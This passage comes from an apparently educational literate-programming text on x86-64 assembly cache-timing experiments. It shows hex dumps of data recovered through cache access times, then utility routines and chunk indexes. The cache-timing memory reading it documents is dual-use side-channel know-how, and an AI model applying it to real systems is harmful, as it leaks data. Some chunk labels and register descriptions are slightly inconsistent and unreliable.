ca 0c c2 b8 87 3c 3d d2 71 2c 11 c0 7e a9 70 56 - ca 0c c2 b8 87 3c 3d d2 71 2c 11
f1 52 b6 28 25 73 e8 bf 83 f7 1d 80 55 96 5c e3 - fd 52 b6 28 25 73 e7 bf 83 a8 1d
5e dd 57 43 20 65 74 a7 c8 69 de 51 db d0 03 00 - 5e 30 57 43 20 65 74 a7 c8 69 d5
37 37 09 39 c0 c0 14 e2 06 45 93 3b 7f 3f 46 35 - 37 37 09 39 c0 c0 14 e1 06 45 93
4b 63 9d a7 91 d0 74 75 62 63 b6 03 6f d5 92 34 - 4b 63 9d a7 91 d0 74 75 62 63 b6
70 4c df a9 58 e7 7c 4a 73 0e 66 04 47 98 a9 70 - 70 4c e9 a9 58 d5 7c 4a 73 0e 66
77 6b 8a 37 a5 76 72 26 36 bc 7a 7c c8 50 71 54 - 77 6b 8a 37 a5 76 72 26 36 bc 7a
7c 90 65 b3 e9 09 28 2c 03 d3 b2 8f aa e4 89 6f - 7c 90 65 b3 ae 09 28 2c 03 d3 b2
a4 29 8d 30 78 8c 85 22 5d 7a 52 f2 f1 1e 29 1e - a4 29 8d 30 78 8c 85 22 5d 7a 52
4a 21 13 83 37 48 78 00 88 3d ab 26 a5 bd 59 62 - 4a 21 13 83 37 48 78 00 88 3d ab
33 dd 4b e8 65 6c 53 ee ca 3c 2e f8 31 01 5b c9 - 33 d3 4b e1 65 6c 53 e8 ca 3c 2e
6f c4 d3 86 40 33 95 35 7e 2d 52 ec 80 89 4a 96 - 6f c4 d3 86 40 33 95 35 7e 2d 52
9d ad 27 28 b7 09 18 6f a0 0a f5 ab f0 f1 80 5e - 9d ad 27 28 b7 09 18 6f a0 0a ac
4f e4 64 57 99 56 41 b6 d0 22 d5 0e 77 85 61 fb - 4f e1 64 57 99 56 41 b6 d0 22 d5
90 12 2f b2 6e 6f da 5f d5 68 c3 54 19 53 e3 02 - 90 12 2f b2 6e 6f da 5f d5 68 c3
79 ac 88 78 ba e5 f0 cd 39 6e be f9 a5 d4 53 bb - 79 ac 88 78 ba d3 b3 cd 39 6e be
86 9c 25 f9 5c 42 1a 1c f4 e6 6c de 0d b2 fa 14 - 86 9c 25 e1 5c 42 1a 1c f6 fd 6c
50 59 dd 15 4b c3 17 60 f4 01 a3 97 7a bd 22 04 - 50 59 d5 15 4b c3 17 60 e5 01 a3
3c 43 37 22 94 64 44 80 1f bd 0a 96 ab 84 8e f4 - 3c 43 37 22 94 64 44 80 1f bd 0a
66 22 65 a7 b2 9d 15 66 03 5b d5 61 79 95 1e 9c - 66 22 65 a7 b2 9d 15 66 03 5b d5
01 d6 83 98 20 63 33 aa 6b 01 b7 0c e6 f3 d8 7f - 01 d6 83 98 20 63 33 aa 6b 01 b7
b4 65 24 55 dd a6 c3 eb 71 63 11 7c 8e 02 92 5f - b4 65 24 55 f8 a6 c3 e1 71 63 11
8f 60 ba e7 1a 7e d1 de f3 94 5a d3 31 36 52 b9 - 8f 60 ba 2f 1a 7e d1 e1 ac 94 5a
9b 56 19 0d be 8a 8e de 12 e7 f0 f4 7b b0 48 ea - 9b 56 19 0d be 8a 8e 61 12 e5 fd
58 65 b2 74 d4 53 36 3b 32 c5 d9 d8 ad 54 81 ef - 58 65 b2 74 d4 53 36 3b 32 c5 d9
c7 52 86 67 28 61 02 16 5b cb ce 1e a9 d9 1c 33 - c7 52 86 67 28 61 02 16 5b cb ce
1d 1a 1c ad 72 0b aa e5 10 3b 47 3c c2 86 8f bf - 1d 1a 1c ad 72 0b aa b3 10 3b 47
49 cc ab a5 58 c9 72 58 74 f7 60 2a 53 cb 43 a5 - 49 cc ab a5 58 c9 72 58 74 c8 60
a7 6d 11 59 55 49 13 e0 e9 14 0c ae 81 76 b5 be - a7 6d 11 59 55 49 13 41 e1 14 0c
d3 88 ce 1c 19 49 45 77 6a c3 a6 12 ef 27 b7 93 - d3 88 ce 1c 19 49 45 77 6a c3 a6
0a 75 15 9e 50 87 31 26 9d 0b aa cd d1 53 e4 17 - 0a 75 15 9e 50 87 31 26 9d 0b aa
de 9e 59 2e ff 53 c8 ad a4 e4 4b 51 2b 3b 31 96 - ac 9e 59 2e fd 53 c8 ad a4 e1 4b
a1 73 d4 9b 51 77 ab a1 d1 2e 67 27 6f 9e 10 95 - a1 73 d4 ac 51 77 ab a1 d1 2e 67
21 9d 7a 5d 8e f3 09 d5 72 80 70 84 ed c3 af 1b - 21 9d 7a 5d 8e fd 09 d5 72 80 70
84 52 90 99 e4 f7 d3 eb 13 93 c8 30 86 aa f6 77 - 84 52 90 99 bb cc d3 ac 13 93 c8
75 41 61 f6 12 44 be 17 0c 1a b1 38 74 69 e2 65 - 75 41 61 e1 12 44 be 17 0c 1a b1
52 5f 53 31 ce 73 9f 0d 9d 85 3e 9f 3b 49 2d be - 52 5f 53 31 ce 73 9f 0d 9d 85 3e
7e 75 4e f6 ce 88 d4 24 28 57 6f 0c cd a9 ce 37 - 7e 75 4e f8 ce 88 d4 24 28 57 6f

```

2.5 Read Array via Cache Access Time

```

76 6e 18 bc 3d 25 08 8b aa 9f 57 7a 1b f4 f1 bd - 76 6e 18 bc 3d 25 08 8b aa 9f 57 7a 1b e1 9b
e2 61 28 ed 68 7c 9e c3 41 36 7c 8e 7b 51 36 1e - cc 61 28 ac 68 7c 9e c3 41 36 7c 8e 7b 51 36
97 35 32 57 b7 77 9b 21 21 b0 db a2 8e b3 20 4f - 97 35 32 57 b7 77 9b 21 21 b0 db a2 8e b3 20
e6 bb 7a 73 45 55 cb a4 f4 dc 11 02 53 46 67 08 - ea bb 7a 73 45 55 cb a4 e8 dc 11 02 53 46 67
a5 96 07 f5 cc 9c b5 fd 9a 40 ab 8b 86 59 b6 94 - a5 96 07 e5 cc 9c b5 7d 9a 40 ab 8b 86 59 b6
e5 7e 50 af c3 5a 1d b1 c1 cb e3 52 8c 3f e4 58 - e1 7e 50 af c3 5a 1d b1 c1 cb e5 52 8c 3f e1
c6 d0 af 3d bd 10 59 31 5a 9a 99 7a d3 28 8d 73 - c6 d0 af 3d bd 10 59 31 5a 9a 99 7a d3 28 8d
98 50 73 04 a8 92 6c a2 34 dc 08 37 13 04 47 bd - 98 50 73 04 a8 92 6c a2 34 dc 08 37 13 04 47
d1 14 6c e5 6a e2 36 99 37 9a 0b ea b1 e4 eb b0 - d1 14 6c 9d 6a e5 36 99 37 9a 0b f8 b1 e4 85
6f f3 c9 43 1d 9a 21 c9 ac a2 2a b6 f3 21 95 ad - 6f e7 c9 43 1d e1 21 c9 ac a2 2a b6 ea 21 95
e6 e1 c3 3c b9 32 1f 5f bd 8d 41 90 86 d5 39 9f - fd ac c3 3c b9 32 1f 5f bd 8d 41 90 86 d5 39
02 af a1 14 e2 0b 7e 09 83 d3 47 c8 98 f9 c2 74 - 02 af a1 14 ea 0b 7e 09 83 d3 47 c8 98 e5 c2
60 60 cc 55 80 9c c1 e1 a8 40 6f 98 35 6a 35 7f - 60 60 cc 55 80 9c c1 cf a8 40 6f 98 35 6a 35
8c c2 07 9c 47 64 98 ee af 5c 0e a0 22 a5 ea 18 - 8c c2 07 9c 47 64 98 e1 af 5c 0e a0 22 a5 e1
a5 a3 96 c5 d4 61 a3 2d 18 e2 a1 72 49 68 ba 92 - a5 a3 96 cf d4 61 a3 2d 18 e1 a1 72 49 68 ba
90 d5 d7 29 62 38 d2 bf ad 85 1e e3 78 b3 cc 46 - 90 d5 d7 29 62 38 d2 bf ad 85 1e d5 78 b3 cc
09 be d8 c4 25 07 27 b0 c4 67 b2 48 c1 59 16 8d - 09 be d8 c4 25 07 27 b0 c4 67 b2 48 c1 59 16
16 00 e5 83 45 ed 1d 5f ff bf 12 b4 29 ef 48 9e - 16 00 f6 83 45 e5 1d 5f e1 bf 12 b4 29 e1 48
1f 51 1c f6 00 6f ce fb f7 f6 e0 f3 68 6d f2 4a - 1f 51 1c e1 00 6f ce e5 e9 d3 e1 e1 68 6d bb
27 b6 b2 ec 9c 68 b7 f4 8e 6d 38 2d 8a 04 be 31 - 27 e1 b2 e9 9c 68 b7 e1 8e 6d 38 2d 8a 04 be
bd bf c8 d4 62 ba d0 a4 2c d6 08 c0 0a 52 6a 83 - bd bf c8 d4 62 ba d0 a4 2c d6 08 c0 0a 52 6a
7f a5 45 ec 4a 48 a7 45 bd 9d 65 39 54 62 9d d0 - 7f a5 45 e5 4a 48 a7 45 bd 9d 65 39 54 62 9d
df 5b 2c e6 f4 23 a6 c7 18 e1 cc 78 8f fe 1d 79 - fd 5b 2c e8 e5 23 a6 c7 18 d5 cc 78 8f e1 1d
c9 c0 43 1f e4 bf 00 8c 5a 31 72 e4 b6 2e 7d e9 - c9 c0 43 1f f6 bf 00 8c 5a 31 72 ea b6 2e 7d
83 d4 d2 d9 62 51 1c eb ba 1e 34 47 ab a5 84 58 - 83 d4 d2 d9 62 51 1c e1 ba 1e 34 47 ab a5 84
d3 d5 05 4a 0c 7c 46 e7 8f e5 3a 30 8a 4a ed fd - d3 d5 05 4a 0c 7c 46 e5 8f e1 3a 30 8a 4a fd
54 3a 38 c3 cd d5 29 4a 25 fd 99 62 db 04 93 fa - 54 3a 38 c3 cd d5 29 4a 25 e5 99 62 db 04 93
3f 12 0d db da 1d 13 50 ce c5 a0 46 82 72 3c 9d - 3f 12 0d db da 1d 13 50 ce c5 a0 46 82 72 3c
b4 5d eb 7e 5a 34 e7 be ec 55 e7 55 61 c2 0b 54 - b4 5d e1 7e 5a 34 d5 be 55 55 e5 55 61 c2 0b
02 7c b9 a4 5e 4a 16 ec f0 86 ee 8e e8 94 25 98 - 02 7c b9 a4 5e 4a 16 cb f6 86 de 8e e9 94 25
34 b7 a8 7d f3 50 8e 02 db c3 9a da cb b7 dd de - 34 b7 a8 7d ea 50 8e 02 db c3 9a da cb b7 d5
f9 98 b8 6c 6a 62 57 8b 07 2d 58 84 9b 32 e9 be - e5 98 b8 6c 6a 62 57 8b 07 2d 58 84 00 32 00
06 c6 f9 8f da ee 12 50 fe af fc b4 9f 90 6c 01 - 00 c6 00 8f da 00 00 00 00 af 00 b4 00 90 00
20 1d 98 fc 7e 35 b0 18 51 b4 e0 dd 64 cd 34 a6 - 20 00 00 00 7e 35 b0 00 00 b4 e0 dd 64 cd 34
a8 07 92 cc fb 72 8f 00 f3 d7 dc 34 a2 fc 7e 6a - 00 07 92 00 00 00 8f 00 00 00 dc 00 a2 00 7e

```

Failed read relation: 543/4096

```

real    0m16.653s
user    0m16.510s
sys     0m0.032s
$

```


3 Signals

3.1 Basics

TBD

3.2 Detecting Signals

TBD

3.3 Handling Signals

TBD

4 Utilities

4.1 Introduction

TBD

43a $\langle utilities\ 43a \rangle \equiv$ (11f 18c 21a 23c 33)
 $\langle nprint\ 45b \rangle$

 $\langle print\ 46a \rangle$

 $\langle printdu64bit\ 47a \rangle$

 $\langle printh8bit\ 49b \rangle$

4.2 Common Chunks

4.2.1 Exit Program

This chunk ends the program with exit code 0.

43b $\langle exitProgram\ 43b \rangle \equiv$ (11e 18b 23b 32d)
 xor RDI,RDI
 mov RAX,60
 syscall

4.2.2 Stack Frame

A chunk to create a stack frame.

43c $\langle enterstackframe\ 43c \rangle \equiv$ (14d 25b 28b 31a)
 push RBP
 mov RBP,RSP

A chunk to clean up the created stack frame.

43d $\langle leavestackframe\ 43d \rangle \equiv$ (15c 26f 30 32a)
 mov RSP,RBP
 pop RBP

4.3 Random Number Generator

To initialize the data a [random number generator \(RNG\)](#) is used. The sample programs use [xorshift](#)¹ as [RNG](#).

First we clear the direction flag to ensure that we are incrementing the data pointer RDI.

Next we move the number of values to be generated to RCX (which is a counter in [x86](#) processors) and divide it by 4 (because we use a 32bit [RNG](#)). Additionally we move the seed to EAX.

Parameters

RDI	the address of the memory which is to be filled with random numbers
RSI	the number of bytes that are filled with random numbers. This must be a multiple of 4
EDX	the seed of the RNG

```

44a  <xorshift-prng 44a>≡ (11f 18c 21a 23c 33) 44b>
    _xorshift:
        cld
        mov     RCX,RSI
        shr     RCX,2
        mov     EAX,EDX

```

Defines:

`_xorshift`, used in chunks [9e](#) and [13d](#).

Now we can generate the next 32bit random number.

```

44b  <xorshift-prng 44a>+≡ (11f 18c 21a 23c 33) <44a 45a>
    .next_random:
        mov     EBX,EAX
        shl     EAX,13
        xor     EAX,EBX
        mov     EBX,EAX
        shr     EAX,17
        xor     EAX,EBX
        mov     EBX,EAX
        shl     EAX,5
        xor     EAX,EBX

```

¹<https://en.wikipedia.org/wiki/Xorshift>

Because we want to generate multiple random numbers we store the value of `EAX` to `[RDI]` and loop for the next random number.

45a `<xorshift-prng 44a>+≡` (11f 18c 21a 23c 33) <44b

```

    stosd
    loop    .next_random
    ret

```

4.4 Printing Strings

4.4.1 Printing Strings with Length

The routine `_nprint` prints a string with the given length to `stdout`.

We move the number of bytes to print to `RDX` which is the 3rd parameter to the systemcall. Next we move the address of the bytes to print to `RSI` which is the 2nd parameter to the systemcall. The 1st argument (in `RDI`) to the systemcall is the file descriptor (1 is `stdout`). Additionally the number of the systemcall (1) is passed in `RAX`. The systemcall (`syscall`) now prints `RDX` bytes from `[RSI]` to the file descriptor `RDI`.

At the end we return to the caller.

Parameters

`RDI` the number of bytes to print to `stdout`

`RSI` the address to the bytes to print to `stdout`

45b `<nprint 45b>≡` (43a)

```

_nprint:
    mov     RDX,RDI
    mov     RDI,1
    mov     RAX,1
    syscall
    ret

```

Defines:

`_nprint`, used in chunks 11, 17, 18a, 23b, 28–30, 32d, 46d, 49a, and 50a.

4.4.2 Printing C-Strings

The routine `_print` prints a null-terminated string to `stdout`.

First we clear the direction flag to increment the address in `RDI` while scanning the data.

Next we start with clearing `AL` (setting it to null) and saving the address of the string to `RSI`. We're using `RSI` because we later need the address to calculate the length of the string.

Parameters

RDI the address to the null-terminated bytes to print to **stdout**

```

46a  <print 46a>≡ (43a) 46b>
      _print:
          cld
          xor     AL,AL
          mov     RSI,RDI

```

Defines:

`_print`, used in chunks 10e, 11d, 17, 18a, 23b, 29, 30, and 32d.

Next we search for the terminating **null** (`'\0'`) character. For this we use the instruction **scasb** (scan string byte) which compares the byte at the address **[RDI]** with the value in **AL** and sets the flags accordingly. When the byte at **[RDI]** is not the value of **AL** the next instruction (**jne**) jumps to the given label (`.next_char` in this case).

scasb additionally increments **RDI** so that we go through the string until `'\0'` is found.

```

46b  <print 46a>+≡ (43a) <46a 46c>
      .next_char:
          scasb
          jne     .next_char

```

After we have found the string termination we calculate the number of bytes that the string has. In **RSI** we now have the starting address of the bytes to print and in **RDI** we have the end address of the bytes to print. After that we calculate the number of bytes to print.

```

46c  <print 46a>+≡ (43a) <46b 46d>
      sub     RDI,RSI

```

Now we have the address of the string in **RDI** and the length of the string in **RSI** which are the 1st and 2nd argument in the call of `_nprint`.

```

46d  <print 46a>+≡ (43a) <46c
      call    _nprint
      ret

```

Uses `_nprint` 45b.

4.5 Printing Numbers**4.5.1 Printing a Decimal 64bit Unsigned Integer**

The routine `_printdu64bit` prints a given 64bit integer as unsigned decimal number to **stdout**.

To print a decimal number we have to divide the number by 10 and get the remainder for printing (from right to left). For this we move the divisor to a register and the

dividend to `RAX`. We have to use `RAX` because this is the only register we can use for division.

Additionally we need the address of the scratch area in `RDI` for storing the result. We also save the address of the scratch area to `R8` for later use.

To increment the address during the processing we clear the direction flag.

Parameters

`RDI` the number number to print to `stdout`

`RSI` the address of a scratch area with a size of at least 20 bytes

```
47a  <printdu64bit 47a>≡ (43a) 47b>
    _printdu64bit:
        mov     RAX,RDI
        mov     RDI,RSI
        mov     R8,RDI
        mov     RCX,10
        cld
```

Defines:

`_printdu64bit`, used in chunks 10f, 11d, 17d, and 32d.

Now we define a label to jump back when we see that there are still more digits to print. Then we test `RAX` for 0 and end the processing of the digits.

```
47b  <printdu64bit 47a>+= (43a) <47a 47c>
    .next:
        cmp     RAX,0
        je      .done
```

Next we divide `RAX` by `RCX`. For this we have to clear `RDX` because this is the higher value of the dividend. The result is then placed into `RAX` and the remainder into `RDX`.

```
47c  <printdu64bit 47a>+= (43a) <47b 47d>
        xor     RDX,RDX
        div     RCX
```

We now exchange the result and the remainder because we now need the remainder in `RAX` (or `AL`) for further processing. Now we can add the `ASCII` character '0' to `AL` and have the correct `ASCII` value in `AL`. Now we can store the `ASCII` character to the scratch area.

```
47d  <printdu64bit 47a>+= (43a) <47c 48a>
        xchg    RDX,RAX
        add     AL,'0'
        stosb
```

4 Utilities

Now we restore `RAX` (which we saved to `RDX`) to go into the next round.

```
48a  <printdu64bit 47a>+≡ (43a) <47d 48b>
      mov     RAX,RDX
      jmp     .next
```

Now that we have all the numbers as `ASCII` characters we are nearly done. We now have to reverse the number in memory because the number saved at the lowest address is the digit with the least significance.

We now start with checking if we have written any character. If not then we write the `ASCII` character '0' into the memory. We use the instruction `stosb` for this to adjust the address in `RDI` at the same time.

```
48b  <printdu64bit 47a>+≡ (43a) <48a 48c>
      .done:
      cmp     RDI,RSI
      jne     .printout
      mov     AL,'0'
      stosb
      .printout:
```

Next we calculate the number of digits that the number has. For this we move the address of the last digit to `RDX` and subtract the start of the scratch area from this. Next we adjust `RDI` because it points to the first address after the number.

```
48c  <printdu64bit 47a>+≡ (43a) <48b 48d>
      mov     RDX,RDI
      sub     RDX,RSI
      dec     RDI
```

We now have `RSI` with the address of the start of the number and `RDI` with the address of the end. We now have to exchange the digits from the front and the end to get the right number. For this we increment `RSI` and decrement `RDI` after each exchange and when the addresses pass each other we are done.

```
48d  <printdu64bit 47a>+≡ (43a) <48c 49a>
      .reverse:
      mov     AL,[RSI]
      mov     AH,[RDI]
      mov     [RSI],AH
      mov     [RDI],AL
      dec     RDI
      inc     RSI
      cmp     RSI,RDI
      jb      .reverse
```


Now we restore the address of the scratch area to `RSI` and move the number of digits (which we stored in `RDX`) to `RDI` and can the call `_nprint` to print the number.

```
49a  <printh8bit 49b>+≡ (43a) <48d
      mov     RSI,R8
      mov     RDI,RDX
      call    _nprint
      ret
Uses _nprint 45b.
```

4.5.2 Printing a Hexadecimal 8bit Integer

The routine `_printh8bit` prints a given 8bit integer as hexadecimal number to `stdout`.

To print a hexadecimal number we mask a nibble (4bit) and have the number to print.

First we clear the register `RAX` and move the number to `AX` for further processing and clear the higher 8bit (`AH`). Additionally we move it to `R8` for later restore.

Additionally we need the address of the scratch area in `RDI` for storing the result.

To increment the address during the processing we clear the direction flag.

Parameters

`DI` the number number to print to `stdout`. Only the lower 8bit are used.

`RSI` the address of a scratch area with a size of at least 2 bytes

```
49b  <printh8bit 49b>≡ (43a) 49c>
      _printh8bit:
      xor     RAX,RAX
      mov     AX,DI
      xor     AH,AH
      mov     R8,RAX
      mov     RDI,RSI
      cld
```

Defines:

`_printh8bit`, used in chunks 17c, 18a, 23b, 28c, and 29d.

Now we mask the higher 4 bit of `AL` by shifting it 4 bits to the right and mask out all but the lower 4 bit. Next we call the internal method `printh8bit.printh4bit` to print out this nibble.

```
49c  <printh8bit 49b>+≡ (43a) <49b 50a>
      shr     AL,4
      and     AL,0x0f
      call    .printh4bit
```

4 Utilities

Next we restore the number and print out the lower 4 bits.

```
50a  <printh8bit 49b>+≡ (43a) <49c
      mov     RAX,R8
      and     AL,0x0f
      call    .printh4bit
      mov     RDI,2
      call    _nprint
      ret
      <printh8bit.printh4bit 50b>
Uses _nprint 45b.
```

Now we define the internal method to print a hexadecimal digit.

First we test if the digit is above or equal to 10. In this case we have to print out a character between 'a' and 'f' else we print out a decimal digit (between '0' and '9').

Parameters (internal)

AL the lower 4 bit contain the hexadecimal digit print to `stdout`

RDI the address of a scratch area

```
50b  <printh8bit.printh4bit 50b>≡ (50a) 50c>
      .printh4bit:
      cmp     AL,10
      jae     .printa2f
Defines:
      printh8bit.printh4bit, never used.
```

Now we add '0' to get the code for the digit between '0' and '9'.

```
50c  <printh8bit.printh4bit 50b>+≡ (50a) <50b 50d>
      add     AL,'0'
      jmp     .printout
```

Else we print a digit between 'a' and 'f'. We first subtract 10 because the value in AL is now between 10 and 15.

```
50d  <printh8bit.printh4bit 50b>+≡ (50a) <50c 50e>
      .printa2f:
      sub     AL,10
      add     AL,'a'
```

Now we store the character into the storage area.

```
50e  <printh8bit.printh4bit 50b>+≡ (50a) <50d
      .printout:
      stosb
      ret
```

A Glossary

x86 x86 denotes a microprocessor architecture based on the 8086/8088 [44](#)

B Acronyms

ASCII American Standard Code for Information Interchange [47](#), [48](#)

LF line feed [10](#), [11](#), [17](#)

RNG random number generator [44](#)

C x86-Instructions

`clflush` Flush Cache Line, introduced with Intel® Pentium® 4 [10](#)

`lfence` Load Fence, introduced with Intel® Pentium® 4 [7](#), [10](#)

`rdtsc` Read Time Stamp Counter, introduced with Intel® Pentium® [7](#), [9](#)

D Code Chunks

<analyzecachemintiming 16a>
<analyzecachesimpthrestiming 20a>
<cacheread-program 24b>
<cacheread-rodata 27b>
<cacheread.asm 33>
<cachereadbyte-program 13b>
<cachereadbyte-rodata 17a>
<cachereadbyte.asm 18c>
<cachereadbyte2.asm 21a>
<cachereadbyte3-program 21b>
<cachereadbyte3.asm 23c>
<cachetiming-program 9a>
<cachetiming-rodata 10c>
<cachetiming.asm 11f>
<calculate-cache-access-time 8a>
<clearcache 13a>
<common-rodata 10d>
<data-udata 8b>
<enterstackframe 43c>
<exitProgram 43b>
<init-random-data 9b>
<init-random-probe 13d>
<leavestackframe 43d>
<license 82>
<nprint 45b>
<preamble 5>
<print 46a>
<print-comparision 31a>
<print-comparision16 28a>
<printdu64bit 47a>
<printh8bit 49b>
<printh8bit.printh4bit 50b>
<probe-udata 13c>
<readarea 25a>
<readback-udata 24a>
<readbyte2cache 22a>
<readcachetiming 14d>

D Code Chunks

<scratch-udata 8c>
<timings-udata 16b>
<tsc-64bit 7>
<utilities 43a>
<xorshift-prng 44a>

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